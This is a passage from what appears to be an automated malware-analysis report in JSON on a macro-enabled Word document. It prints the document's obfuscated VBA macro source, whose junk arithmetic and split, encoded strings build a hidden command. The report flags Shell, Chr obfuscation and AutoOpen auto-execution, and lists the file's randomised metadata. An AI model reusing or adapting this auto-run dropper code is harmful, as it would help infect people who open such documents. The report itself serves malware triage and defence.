CInt(zzozv - CDbl(84298)) * 27593 * Oct(45345))\nMRomshGQu = \"05\" + \"t1\" + \"16\" + \"M96\" + \"e91\" + \"_7\"\nbsiFXI = (CKfhV * 49271 + 13437 * CInt(wirziW - CDbl(30394)) * 75589 * Oct(45488))\nUwjSzpPas = \"2c4\" + \"0t5\" + \"8>\" + \"82\"\nPVRTbD = (AKafz * 22137 + 19061 * CInt(GimsF - CDbl(99104)) * 50346 * Oct(86361))\nTLfOuf = \"P1\" + \"17_\" + \"96\" + \"P11\" + \"5c\" + \"11\"\nXEBQXwDWM = iQrbHc + MVJLfrrzhwS + MRomshGQu + UwjSzpPas + TLfOuf\nANAOt = (MFKaHm * 90676 + 66272 * CInt(bXUOjH - CDbl(94522)) * 44265 * Oct(64405))\nEnd Function\nFunction YzhiJS()\nOn Error Resume Next\nYrcuSf = (cPSODu * 14492 + 70773 * CInt(aokBU - CDbl(21311)) * 93209 * Oct(7407))\nvbtjAWsOPz = \"7P\" + \"44\" + \">8\" + \"1k\"\nhiLMu = (qSWVi * 67659 + 20619 * CInt(vSJfPU - CDbl(46945)) * 55289 * Oct(25056))\nphKcS = \"11\" + \"5t1\" + \"10_\" + \"98>\" + \"100\"\nRhImfX = (vZikA * 57864 + 31018 * CInt(PXkYm - CDbl(4806)) * 60606 * Oct(29399))\nWOBGfnTZzJ = \"U1\" + \"14\" + \"M1\" + \"14\" + \"_3\" + \"3>\"\nojKfji = (FRhvNu * 7540 + 75875 * CInt(InKjIv - CDbl(77533)) * 87854 * Oct(19037))\nzENfSpmAi = \"37\" + \">1\" + \"05\" + \"U1\" + \"16\"\nzoEab = (RNzvNh * 27809 + 81205 * CInt(fiwUHU - CDbl(37973)) * 94095 * Oct(49546))\nuszwp = \"k9\" + \"6_9\" + \"1U\" + \"72\" + \"c5\" + \"8M9\"\nPVintv = (VjlEA * 83244 + 11540 * CInt(vhGrl - CDbl(51868)) * 47241 * Oct(38185))\nzZMraVjZo = \"9c\" + \"11\" + \"5>1\" + \"00>\" + \"96>\"\ndMrYBj = (riwLQj * 50211 + 7324 * CInt(wLiEh - CDbl(58305)) * 82929 * Oct(81981))\nrWsdzzArQrr = \"10\" + \"6_5\" + \"8P1\" + \"24\"\nYzhiJS = vbtjAWsOPz + phKcS + WOBGfnTZzJ + zENfSpmAi + uszwp + zZMraVjZo + rWsdzzArQrr\nMmNFo = (qBoJj * 6904 + 84839 * CInt(AHNWu - CDbl(88479)) * 86208 * Oct(24217))\nEnd Function\nFunction PFluWbJlA()\nOn Error Resume Next\nCqpPq = (MzVBN * 80203 + 87453 * CInt(lqtVO - CDbl(90230)) * 31213 * Oct(44148))\nVEzFNLOpoJ = \"M9\" + \"8U9\" + \"6k1\" + \"17s\" + \"98k\" + \"105\"\nEriwUI = (wSzfKO * 98852 + 76021 * CInt(mbKLC - CDbl(59171)) * 58156 * Oct(12592))\nAsXmPHh = \"U1\" + \"22\" + \"_1\" + \"18\" + \"_1\"\nbfBYdR = (ftkYIS * 85521 + 82320 * CInt(EuqOF - CDbl(44770)) * 82314 * Oct(10941))\njoCNGEw = \"15\" + \"P1\" + \"04P\" + \"11\" + \"7s\"\nPFluWbJlA = VEzFNLOpoJ + AsXmPHh + joCNGEw\ncTFLu = (NbEtc * 89760 + 45563 * CInt(iofUOP - CDbl(85194)) * 38202 * Oct(66717))\nEnd Function\nFunction mTmctClDjd()\nOn Error Resume Next\nlwkos = (EpvEBz * 72723 + 38134 * CInt(LLjNzO - CDbl(59150)) * 62978 * Oct(11360))\nuCaQON = \"10\" + \"0k4\" + \"4s1\" + \"05\" + \"e11\"\nZaCcq = (Illawp * 47806 + 67610 * CInt(onwTn - CDbl(69426)) * 4634 * Oct(21609))\nMtjNRKzHkr = \"0U\" + \"11\" + \"4P\" + \"11\" + \"7U\" + \"33\"\nDDLGj = (GRijS * 22641 + 2749 * CInt(FcsMA - CDbl(87877)) * 5713 * Oct(42542))\niXzUBLbEl = \"_3\" + \"7e9\" + \"4U\" + \"47c\"\nzuKbjN = (XXPhZ * 74456 + 31856 * CInt(BfTfL - CDbl(85851)) * 31856 * Oct(13290))\ntAnpqjC = \"68c\" + \"121\" + \"P9\"\natruXB = (SjROL * 47666 + 58062 * CInt(DLIvwT - CDbl(76373)) * 35902 * Oct(22237))\njJoUsiVI = \"8P\" + \"10\" + \"0U1\"\nLUaXKt = (oXBmWX * 1262 + 41517 * CInt(PsVCrc - CDbl(2975)) * 85124 * Oct(52247))\nOUCRtMbB = \"13\" + \"_1\" + \"17P\" + \"104\" + \"M1\" + \"10e\"\nkVKTma = (EMhruW * 45318 + 64124 * CInt(Bdohn - CDbl(14732)) * 49133 * Oct(97796))\nKrXKKRuIRb = \"111\" + \"s47\" + \"s7\" + \"6e\" + \"100\" + \"c11\"\nmTmctClDjd = uCaQON + MtjNRKzHkr + iXzUBLbEl + tAnpqjC + jJoUsiVI + OUCRtMbB + KrXKKRuIRb\nvzJzi = (iwLJL * 57045 + 6538 * CInt(LqToo - CDbl(12803)) * 40520 * Oct(42609))\nEnd Function\nFunction Iopfh()\nOn Error Resume Next\nUTbYDt = (cvLPr * 56484 + 43075 * CInt(iNIzK - CDbl(27088)) * 42080 * Oct(87741))\nRvufflYw = \"4M1\" + \"14s\" + \"96s\" + \"102\" + \"s10\" + \"0P5\" + \"8e1\"\nOcrUTl = (jZzofG * 90113 + 58184 * CInt(AjPSo - CDbl(45014)) * 66507 * Oct(38878))\nqwrwzw = \"24U\" + \"12\" + \"4' \" + \"-s\" + \"PlI\"\nKazXL = (zacJbC * 81996 + 18250 * CInt(TfRdi - CDbl(50263)) * 44738 * Oct(36460))\nOaKAK = \"T \" + \"'C\" + \"' -\" + \"sP\" + \"liT\" + \" 'e\"\nuKhGbK = (tWHIKu * 22946 + 26346 * CInt(pFdlC - CDbl(1508)) * 18222 * Oct(44848))\nNiHJDwaP = \"'-\" + \"Sp\" + \"LiT\" + \" '\"\nIopfh = RvufflYw + qwrwzw + OaKAK + NiHJDwaP\nwIFEm = (nHTdBC * 86170 + 97562 * CInt(ShfjA - CDbl(994)) * 48025 * Oct(38057))\nEnd Function\nFunction siZszlqSNKw()\nOn Error Resume Next\nNtVth = (tAJBcB * 72175 + 78818 * CInt(TVCbiM - CDbl(25841)) * 92954 * Oct(12201))\nTiOrktVUX = \"m'-\" + \"sP\" + \"Li\" + \"t '\" + \"u'\" + \" -S\"\nSUVZW = (ZoBqt * 35725 + 88127 * CInt(rjAsr - CDbl(42499)) * 33053 * Oct(63231))\nTznzQjzEDz = \"PL\" + \"it\" + \" '\" + \"s'\" + \"-Sp\" + \"li\" + \"t \"\nuQizzk = (AwOiPH * 46917 + 51932 * CInt(zCMjwr - CDbl(1585)) * 53649 * Oct(55097))\nUhzBRlftXp = \"'>'\" + \"-s\" + \"pLi\" + \"T \"\nzLUFku = (baJrGb * 7244 + 19633 * CInt(wDLKkL - CDbl(49013)) * 9920 * Oct(88287))\niDWKCwOtX = \"'k\" + \"' -\" + \"sPL\" + \"It\" + \"'_'\"\nEzuDP = (VOlff * 83808 + 58608 * CInt(dfwRvr - CDbl(51632)) * 17399 * Oct(49059))\njGijjU = \"-S\" + \"pL\" + \"It \" + \"'p\"\nvwQRz = (mPLQpo * 63509 + 44693 * CInt(olNSiK - CDbl(9262)) * 48812 * Oct(45770))\nQLXTG = \"' -\" + \"sPL\" + \"It\" + \"'T'\"\nENIJCs = (XmHSmD * 28389 + 95551 * CInt(PjNwow - CDbl(51550)) * 44386 * Oct(13321))\nwKOQhFvhtzP = \" |\" + \" %\" + \" {[\" + \"CH\"\nsiZszlqSNKw = TiOrktVUX + TznzQjzEDz + UhzBRlftXp + iDWKCwOtX + jGijjU + QLXTG + wKOQhFvhtzP\nNrvzq = (skuai * 12036 + 15985 * CInt(uRuPb - CDbl(3332)) * 64446 * Oct(97810))\nEnd Function\nFunction uzOXq()\nOn Error Resume Next\nluYLZ = (GmlCwf * 8263 + 54991 * CInt(RuuTTW - CDbl(29171)) * 18243 * Oct(46332))\nqVFljN = \"ar]\" + \"($\" + \"_ -\" + \"Bx\" + \"or\"\nDXELvF = (OWKCS * 22632 + 36205 * CInt(ootDLt - CDbl(80866)) * 77804 * Oct(9043))\nwkKvbJLuzB = \"'0\" + \"x0\" + \"1'\" + \") }\" + \" ) \" + \"))\"\nuzOXq = qVFljN + wkKvbJLuzB\nhHOfzV = (AWVVBa * 80431 + 95089 * CInt(QhSnz - CDbl(67452)) * 53468 * Oct(55104))\nEnd Function\n"
                    ]
                ]
            },
            "Analysis": {
                "Suspicious": [
                    [
                        "Shell",
                        "May run an executable file or a system command"
                    ],
                    [
                        "Chr",
                        "May attempt to obfuscate specific strings"
                    ]
                ],
                "AutoExec": [
                    [
                        "AutoOpen",
                        "Runs when the Word document is opened"
                    ]
                ]
            }
        },
        "Metadata": {
            "SummaryInformation": {
                "num_words": "0",
                "num_pages": "1",
                "last_saved_by": "",
                "creating_application": "Microsoft Office Word",
                "author": "Apaeluxaquwyn-PC",
                "revision_number": "1",
                "codepage": "1252",
                "title": "16688Ap28750",
                "comments": "",
                "num_chars": "1",
                "total_edit_time": "0",
                "create_time": "None",
                "template": "Normal.dotm",
                "last_printed": "None",
                "keywords": "",
                "security": "0",
                "last_saved_time": "None",
                "thumbnail": "None",
                "subject": "4379Ap89773"
            },
            "DocumentSummaryInformation": {
                "codepage_doc": "1252",
                "chars_with_spaces": "1",
                "shared_doc": "False",
                "paragraphs": "1",
                "hidden_slides": "None",
                "mm_clips": "None",
                "category": "65452Ap63951",
                "presentation_target": "None",
                "hlinks_changed": "False",
                "scale_crop": "False",
                "version": "1048576",
                "hlinks": "None",
                "link_base": "None",
                "company": "32377Ap52052",
                "unused": "None",
                "dig_sig": "None",
                "content_type": "None",
                "heading_pairs": "None",
                "slides": "None",
                "links_dirty": "False",
                "language": "None",
                "notes": "None",
                "bytes": "None",
                "manager": "None",
                "content_status": "None",
                "doc_version": "None",
                "titles_of_parts": "None",
                "lines": "1"
            },
            "HasMacros": "Yes",
            "DocumentType": "Word Document"
        }
    }
}